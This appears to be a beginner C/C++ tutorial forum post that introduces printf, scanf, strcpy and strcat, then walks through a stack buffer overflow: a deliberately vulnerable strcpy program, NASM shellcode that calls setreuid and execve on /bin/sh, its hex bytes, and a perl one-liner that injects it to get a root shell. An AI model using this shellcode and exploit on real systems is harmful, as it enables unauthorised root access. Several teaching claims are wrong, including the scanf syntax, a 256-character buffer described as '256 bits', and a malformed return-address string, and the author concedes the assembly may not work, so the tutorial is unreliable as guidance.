-- C/C++

-- C/C++

By ghost | 5938 Reads |

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• //end the function}
• now we will run through some commands and their syntax. At the end you will see an example with them inclded.
• printf() – used to print a string to the screensyntax - printf(“The value of A is %s”, a);the %s means that we will be printing the value of a string hence the ‘s’ of %s. printf doesnt need to always have to have a variable.
• scanf() – used to read a variable from user inputsyntax - scanf(“Enter your name:”, name);the string is preinted then the program will wait for the user to hit the <ENTER> key. which will end the input. the ‘name’ variable will hold the data that it is supposed to. so this case it would probably be a string or a char.
• strcpy() – used to copy a var(char) to another varsyntax - strcpy(buf, name);the buf var could be a char array which has 256 bits, and name var could contain a string(char) that says “george”. the finished would be the buf variable. it would say “george” if it was printed. so remember that the first var eg buf is the var that the data from the second var eg name is copied to.
• strcat() - concatenates the data from var 2 - var 1syntax - strcat(welcome, name);this would copy the data from name and concatenate(add it) to the welcome variable. So if welcome contained “Welcome “ and name contained “George”. this command would make welcome have the data “Welcome George”.
• return 0;}

Hello, this is my first real article on HBH, and i would like all helpful criticism. First off lets start with the history. C++ was invented by Bjorne Stroustrup. He wanted a language that was like C but had OOP included. BLAH BLAH BLAH….that is enough of a history lesson. so anyways….C++ can be used on all systems(*nix, Windows, Solaris, and Mac).

So lets start with some code.

First off programs use header files to locate functions, struct’s and classes. It helps make a program smaller and less clunky. Header files are included with #include line.

next every program must have a main() funtion. which holds the bulk of instructions.

now an example. ——————hello_world.c———————— //include stdio header file #include <stdio.h>

//main function ‘{’ starts the function int main() {

//displays a string
printf(“Hello, World!”);

//sends the value of 0 which ends the prog return 0;

¶//end the function }

this example will print the string “Hello, World!” to the console string.

as you can see each function must have a { and } to show the beginning and end of the function. Also each command must be finshed with a ’ ; ’

¶now we will run through some commands and their syntax. At the end you will see an example with them inclded.

¶printf() – used to print a string to the screen syntax - printf(“The value of A is %s”, a); the %s means that we will be printing the value of a string hence the ‘s’ of %s. printf doesnt need to always have to have a variable.

¶scanf() – used to read a variable from user input syntax - scanf(“Enter your name:”, name); the string is preinted then the program will wait for the user to hit the <ENTER> key. which will end the input. the ‘name’ variable will hold the data that it is supposed to. so this case it would probably be a string or a char.

¶strcpy() – used to copy a var(char) to another var syntax - strcpy(buf, name); the buf var could be a char array which has 256 bits, and name var could contain a string(char) that says “george”. the finished would be the buf variable. it would say “george” if it was printed. so remember that the first var eg buf is the var that the data from the second var eg name is copied to.

¶strcat() - concatenates the data from var 2 - var 1 syntax - strcat(welcome, name); this would copy the data from name and concatenate(add it) to the welcome variable. So if welcome contained “Welcome “ and name contained “George”. this command would make welcome have the data “Welcome George”.

Now although strcpy is very easy…..it is very vulnerable to exploits and makes it possible for ppl to use a program like the one below to gain root control.

–––––––––––exploitable.c–––––––––– int main(int argc, char *argv[]) {

char buf[256]; //buffer array to hold data

strcpy(buf, argv[1]); //copy argv[1] to buf

¶return 0; }

then compile it:

gcc -o exploitable exploitable.c

now if someone who wanted to hack into the computer they could do this.

first they would write a program in assembly that would open up a new shell.

—————––exploit.asm———————— global _start _start: xor eax, eax ;null the eax register mov al, 70 ;syscall for setreuid
xor ebx, ebx ;null the ebx register xor ecx, ecx ;null the ecx register int 0x80 ;initiate

    jmp short ender  ;jmp to end

    starter:   ;beginning label

    pop ebx           ;bring in last value of ebx      
    xor eax, eax     ;null the eax register

    mov [ebx+7 ], al      ;mov the N into ebx    

mov [ebx+8 ], ebx ;put null bytes where A’s mov [ebx+12], eax ;put null bytes where B’s mov al, 11 ;syscall for execve
lea ecx, [ebx+8] ;load address of A’s lea edx, [ebx+12] ;load the NULL bytes int 0x80 ;execute

    ender:                ;endign label
    call starter           ;call the starting code
    db '/bin/shNAAAABBBB'  ;string to be loaded

Now they would use nasm like this

nasm -o exploit exploit.asm

that would create a file called exploit….it will not execute…..because we did not make it an executable.

then they would open it up and check that there would be no null bytes… 00 in hex in the file. We need to have the exploit code without nulls.

if you open it up in a hexeditor it would look like this:

6631C0B0 466631DB 6631C9CD 80EB1C66
5B6631C0 67884307 6667895B 08B00B66 678D4B08 66678D53 0CCD80E8 E1FF2F62 696E2F73 684E4141 41414242 4242

as you notice there aren’t any 00 because i made sure that i didnt “mov” any nulls into a register. instead i xor’d the registers if it need to be null or used the right sized register - eg(al instead of eax)

now the way that this would be exploited would be like this. (for this example lets say that the memory address is 014609bf

lock-down@localhost~:./exploitable perl -e 'print "A" x 256 . shellcode . "\bf\09\46\01"'

this would cause a buffer overflow and place the code of our exploit to be executed….this would open a shell.

Hope you enjoyed…..oh and there might be one or two probs with the asm code….i will try to fix that in the future.

that is the end of Part 1. Next time i will continue on to Classes and functions and file i/o.

then in part 3 i will go onto some of the popular API’s like OpenGL and SDL, and GTK. Also sockets might be included.